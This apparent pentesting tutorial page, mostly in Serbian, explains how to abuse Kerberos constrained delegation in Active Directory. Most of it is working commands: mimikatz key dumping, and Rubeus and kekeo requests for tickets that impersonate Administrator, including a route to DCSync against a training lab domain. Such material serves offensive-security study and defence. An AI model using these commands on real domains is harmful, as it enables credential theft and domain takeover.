Constrained Delegation

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Constrained Delegation

Korišćenjem ovoga, administrator domena može dozvoliti računaru da imitira korisnika ili računar prema servisu mašine.

• Servis za korisnika da se sam (S4U2self): Ako račun servis ima userAccountControl vrednost koja sadrži TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D), onda može dobiti TGS za sebe (servis) u ime bilo kog drugog korisnika.

• Servis za korisnika da proxy(S4U2proxy): Račun servis može dobiti TGS u ime bilo kog korisnika za servis postavljen u msDS-AllowedToDelegateTo. Da bi to uradio, prvo mu je potreban TGS od tog korisnika za sebe, ali može koristiti S4U2self da dobije taj TGS pre nego što zatraži drugi.

Napomena: Ako je korisnik označen kao ‘Račun je osetljiv i ne može se delegirati’ u AD, nećete moći da imitirate njih.

To znači da ako kompromitujete hash servisa možete imitirati korisnike i dobiti pristup u njihovo ime do konfigurisane usluge (moguća privesc).

Štaviše, nećete imati samo pristup usluzi koju korisnik može imitirati, već i bilo kojoj usluzi jer se SPN (ime usluge koja se zahteva) ne proverava, samo privilegije. Stoga, ako imate pristup CIFS servisu možete takođe imati pristup HOST servisu koristeći /altservice flag u Rubeus-u.

Takođe, pristup LDAP servisu na DC, je ono što je potrebno za eksploataciju DCSync.

Enumerate

# Powerview
Get-DomainUser -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select userprincipalname, name, msds-allowedtodelegateto

#ADSearch
ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes cn,dnshostname,samaccountname,msds-allowedtodelegateto --json

Dobij TGT

# The first step is to get a TGT of the service that can impersonate others
## If you are SYSTEM in the server, you might take it from memory
.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x3e4 /service:krbtgt /nowrap

# If you are SYSTEM, you might get the AES key or the RC4 hash from memory and request one
## Get AES/RC4 with mimikatz
mimikatz sekurlsa::ekeys

## Request with aes
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /opsec /nowrap

# Request with RC4
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d
.\Rubeus.exe asktgt /user:dcorp-adminsrv$ /rc4:cc098f204c5887eaa8253e7c2749156f /outfile:TGT_websvc.kirbi

Postoje drugi načini za dobijanje TGT karte ili RC4 ili AES256 bez da budete SYSTEM na računaru, kao što su Printer Bug i nekontrolisana delegacija, NTLM preusmeravanje i zloupotreba Active Directory Certificate Service.

Samo posedujući tu TGT kartu (ili heš) možete izvršiti ovaj napad bez kompromitovanja celog računara.

Using Rubeus

#Obtain a TGS of the Administrator user to self
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator

#Obtain service TGS impersonating Administrator (CIFS)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:[e-mail][e-mail] /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS

#Impersonate Administrator on different service (HOST)
.\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:[e-mail][e-mail] /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /altservice:HOST /outfile:TGS_administrator_HOST

# Get S4U TGS + Service impersonated ticket in 1 cmd (instead of 2)
.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /user:dcorp-adminsrv$ /ticket:TGT_websvc.kirbi /nowrap

#Load ticket in memory
.\Rubeus.exe ptt /ticket:TGS_administrator_CIFS_HOST-dcorp-mssql.dollarcorp.moneycorp.local

kekeo + Mimikatz

#Obtain a TGT for the Constained allowed user
tgt::ask /user:dcorp-adminsrv$ /domain:dollarcorp.moneycorp.local /rc4:8c6264140d5ae7d03f7f2a53088a291d

#Get a TGS for the service you are allowed (in this case time) and for other one (in this case LDAP)
tgs::s4u /tgt:TGT_dcorpadminsrv$@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLAR CORP.MONEYCORP.LOCAL.kirbi /user:[e-mail] /service:time/dcorp-dc.dollarcorp.moneycorp.LOCAL|ldap/dcorpdc.dollarcorp.moneycorp.LOCAL

#Load the TGS in memory
Invoke-Mimikatz -Command '"kerberos::ptt [e-mail]@DOLLARCORP.MONEYCORP.LOCAL_ldap~ [e-mail]_ALT.kirbi"'

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